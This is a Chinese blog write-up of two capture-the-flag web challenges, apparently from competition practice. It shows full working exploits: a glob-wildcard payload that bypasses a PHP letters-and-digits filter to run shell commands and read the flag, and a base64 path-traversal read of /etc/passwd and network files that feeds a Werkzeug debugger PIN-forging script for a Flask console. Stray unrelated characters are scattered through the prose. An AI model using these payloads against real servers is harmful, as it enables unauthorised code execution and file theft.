前言
一邊無奈學(xué)習(xí)開發(fā)等龙,一邊不想放下自己的喜愛的信息安全方向甸箱。但我也怕顧此失彼啊闽坡,無奈栽惶。這里順手記錄下題解吧,不定時append
babybypass
出自:linkedbyX-11.11特別賽① PS:這個題目其實(shí)就是安恒9月web題原題疾嗅。
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
從GET中取code鍵值兩個要求
- 長度不能超過35
- 符合
[A-Za-z0-9_$]+
正則表達(dá)式外厂,不能出現(xiàn)字母數(shù)字和_$
Orz,感覺思考不出來代承,只記得ph牛博客中好像有一遍可以不用字母就能構(gòu)造shell的汁蝶。于是找了一波資料原來是這種操作。
因?yàn)檎齽t把$給限制了加之長度限制论悴,所以這里不能用構(gòu)造變量的方法掖棉,于是采用Linux下的glob通配符
-
*
可以代替0個及以上任意字符 -
?
可以代表1個任意字符
GET /?code=?><?=`/???/???%20/???/???/????/*`?> HTTP/1.1
Host: 101.71.29.5:10049
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
用?>
先閉合前面,再<??>
使用反引號來執(zhí)行shell命令
讀到了index.php源碼膀估,flag文件就在/flag下面啊片,那就直接讀它
GET /?code=?><?=`/???/???%20/????`;?> HTTP/1.1
Host: 101.71.29.5:10049
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
flag{aa5237a5fc25af3fa07f1d724f7548d7}
這道題涉及到的知識點(diǎn)太多了,各位大佬的博客也是腦洞打開玖像,各種奇淫巧技都有紫谷。后面再專做文章研究吧,在此不展開
reference
-
ph牛
安全客:CTF題目思考--極限利用
一葉飄零師傅:2018安恒杯-9月月賽Writeup
Angel_Kitty:記一次拿webshell踩過的坑(如何用PHP編寫一個不包含數(shù)字和字母的后門
粗心的程序員呀
出自:LinkedbyX-11.11特別賽③ PS:這個好像是8月月賽原題
打開地址捐寥,發(fā)現(xiàn)注冊會報錯笤昨,從錯誤信息中發(fā)現(xiàn)是Flask且開了debug,在頁面中需要pin碼就能打開console握恳。還發(fā)現(xiàn)了頁面image的src路徑有蹊蹺瞒窒。測試是base64編碼。于是存在任意文件讀取漏洞乡洼。
flask并不太熟悉崇裁,Python web我還沒好好學(xué)flask匕坯,于是看了一波資料。又是大佬們的長篇精彩分析拔稳,這題的題解如下
根據(jù)文章對pin碼的生成分析葛峻,要獲取6個變量值
username # 用戶名
modname # flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__')) # Flask
getattr(mod, '__file__', None) # flask目錄下的一個app.py的絕對路徑
uuid.getnode() # mac地址十進(jìn)制
get_machine_id() # /etc/machine-id
放到這題中來分別讀取的payload為
username為ctf,讀取
../../..//etc/passwd
這里從頁面中知道了腳本路徑巴比,這里引用相對路徑术奖。還有即使不知道,無線向上..也是可以的轻绞,payload url為
curl http://101.71.29.5:10057/image/Ly4uLy4uLy4uL2V0Yy9wYXNzd2Q=
modename模塊名為flask.app
uuid.getnode這個是mac地址十進(jìn)制采记,為2485377892354。我們先用讀/sys/class/net/eth0/address政勃,在轉(zhuǎn)下十進(jìn)制就好了唧龄,payload url為
curl http://101.71.29.5:10057/image/Ly4uLy4uLy4uL3N5cy9jbGFzcy9uZXQvZXRoMC9hZGRyZXNz
get_machine_id這個這里是空,
/etc/machine-id
和/proc/sys/kernel/random/boot_id
都空白內(nèi)容奸远。不知額app的
__name__
為Flask-
mod的
__file__
這里試了網(wǎng)頁上爆出的路徑為/usr/local/lib/python2.7/dist-packages/flask/app.py
但是這樣生成的pin就是不對額既棺,后來看表哥們的wp,這里要用pyc然走。PS:pyc是Python的編譯后的字節(jié)碼文件援制,如果py文件沒有修改的話,都是執(zhí)行pyc文件的芍瑞,如果py源文件修改了pyc文件會重新編譯晨仑。而且還有一個很重要的點(diǎn),如果py源文件不存在拆檬,會執(zhí)行pyc文件的:榧骸!原pyc文件竟贯。
import hashlib
from itertools import chain
probably_public_bits = [
'ctf',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377892354'# str(uuid.getnode()), /sys/class/net/eth0/address # 網(wǎng)卡十進(jìn)制答捕,讀完轉(zhuǎn)一下
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
最終的pin為131-442-946
然后在網(wǎng)頁中讀取下文件flag內(nèi)容
reference
Mark
- Flask安全周邊學(xué)習(xí)
- Flask開發(fā)學(xué)習(xí)
后續(xù)更新~